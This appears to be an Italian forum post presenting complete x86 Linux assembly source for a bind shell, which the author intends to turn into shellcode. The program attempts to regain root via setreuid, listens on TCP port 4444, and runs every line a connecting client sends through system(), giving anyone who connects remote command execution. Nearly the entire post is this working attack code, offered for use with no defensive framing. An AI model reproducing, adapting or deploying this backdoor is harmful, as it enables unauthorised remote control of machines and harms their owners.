Finalmente, dopo tanta fatica, ecco a voi la mia bind shell in Assembly definitiva, da cui presto tirerò fuori uno shellcode tanto carino. Da compilare con gcc su sistemi Unix. Il codice va eseguito sul server e apre su di esso la porta TCP 4444 per la ricezione di comandi. Per inviare comandi al server, basta connettersi dal client via netcat o telnet.
Codice:
.data
sock_ko_str: .string "Socket KO\n"
sock_ko_str_l = .-sock_ko_str
bind_ko_str: .string "Bind KO\n"
bind_ko_str_l = .-bind_ko_str
listen_ko_str: .string "Listen KO\n"
listen_ko_str_l = .-listen_ko_str
accept_ko_str: .string "Accept KO\n"
accept_ko_str_l = .-accept_ko_str
prompt: .string "my-sh3ll$ "
prompt_l = .-prompt
# struct sockaddr server
server: .space 128
sizeof_server = .-server
buff: .space 1000
bufsiz = .-buff
newline: .string "\n"
status: .long 0
sz: .space 4
client: .space 128
sd: .long 0
new_sd: .long 0
resp: .byte 0
ret: .long 0
AF_INET = 0x2
SOCK_STREAM = 0x1
IPPROTO_TCP = 0x6
INADDR_ANY = 0x0
MAXCONN = 5
port = 4444
# Macro per la stampa su stdout
.macro __write str,len
movl $4,%eax
movl $1,%ebx
movl \str,%ecx
movl \len,%edx
int $0x80
.endm
.text
.global main
main:
movl $0,%ecx # for (ecx=0; ecx<=2; ecx++) close(ecx);
close_loop:
movl $6,%eax
movl %ecx,%ebx
int $0x80
incl %ecx
cmpl $2,%ecx
jle close_loop
movl $70,%eax # setreuid(0,0);
movl $0,%ebx
movl $0,%ecx
int $0x80
movl $0x66,%eax
movl $1,%ebx # socket()
pushl $IPPROTO_TCP # sd=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
pushl $SOCK_STREAM
pushl $AF_INET
movl %esp,%ecx
int $0x80
addl $0xc,%esp
movl %eax,sd
cmpl $-1,sd # if (sd!=-1) ok();
jne sock_ok
sock_ko:
__write $sock_ko_str,$sock_ko_str_l
jmp end
sock_ok:
movw $AF_INET,server # server->sin_family=AF_INET;
movw $((port & 0xff00) >> 8 | (port & 0xff) << 8),server+2
# server->sin_port = htons ((u_short) port);
movl $0x0,server+4 # server->sin_addr.s_addr=INADDR_ANY;
movl $0x66,%eax # bind()
movl $2,%ebx
pushl $sizeof_server # bind (sd,&server,sizeof_server);
pushl $server
pushl sd
movl %esp,%ecx
int $0x80
addl $0xc,%esp
cmpl $-1,%eax
jne bind_ok
bind_ko:
__write $bind_ko_str,$bind_ko_str_l
jmp end
bind_ok:
movl $0x66,%eax # listen(sd,MAXCONN)
movl $4,%ebx
pushl $MAXCONN
pushl sd
movl %esp,%ecx
int $0x80
addl $0x8,%esp
cmpl $-1,%eax
jne listen_ok
listen_ko:
__write $listen_ko_str,$listen_ko_str_l
jmp end
listen_ok:
movl $sizeof_server,%eax
movl %eax,sz
movl $0x66,%eax # accept (sd,&client,&sz)
movl $5,%ebx
pushl $sz
pushl $client
pushl sd
movl %esp,%ecx
int $0x80
addl $0xc,%esp
movl %eax,new_sd
cmpl $-1,new_sd
jne accept_ok
accept_ko:
__write $accept_ko_str,$accept_ko_str_l
jmp end
movl $0,%ecx # for (ecx=0; ecx<=2; ecx++) dup(new_sd);
dup_loop:
movl $41,%eax
movl new_sd,%ebx
int $0x80
incl %ecx # if (ecx<=2) goto dup_loop;
cmpl $2,%ecx
jle dup_loop
accept_ok:
movl $4,%eax
movl $1,%ebx
movl $prompt,%ecx
movl $prompt_l,%edx
int $0x80
movl $3,%eax # read (new_sd,buff,sizeof(buff));
movl new_sd,%ebx
movl $buff,%ecx
movl $bufsiz,%edx
int $0x80
cmpl $0,%eax
jle close
movl $-1,%ebx # buff[strlen(buff)-1]=0; {chomp(buff)}
l_loop:
incl %ebx
movl $buff,%eax
addl %ebx,%eax
cmpl $0,(%eax)
jne l_loop
movl %ebx,%eax
movl $buff,%ebx
addl %eax,%ebx
decl %ebx
movl $0,(%ebx)
pushl $buff # system(buff);
call system@plt
addl $0x4,%esp
l1:
movl $4,%eax # write (1,"\n",1);
movl $1,%ebx
movl $newline,%ecx
movl $1,%edx
int $0x80
movl $0,%edi # memset (buff,0,sizeof(buff));
loop:
movl $buff,%esi
addl %edi,%esi
movl $0,(%esi)
incl %edi
cmpl $bufsiz,%edi
jl loop
jmp accept_ok
close:
movl $6,%eax # close(sd);
movl sd,%ebx
int $0x80
end:
movl $1,%eax # exit(0);
movl $0,%ebx
int $0x80
leave
ret